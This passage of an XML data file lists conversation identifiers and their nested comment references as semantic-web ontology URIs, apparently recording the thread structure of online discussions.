---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30002934
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29998770
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29997430
---http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30006036
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996262
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996666
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996318
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation09_11_05_1552204.0</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29996594
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29999654
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29998998
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.30002766
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment09_11_05_1552204.29998778
</commentlist>
</conversation>
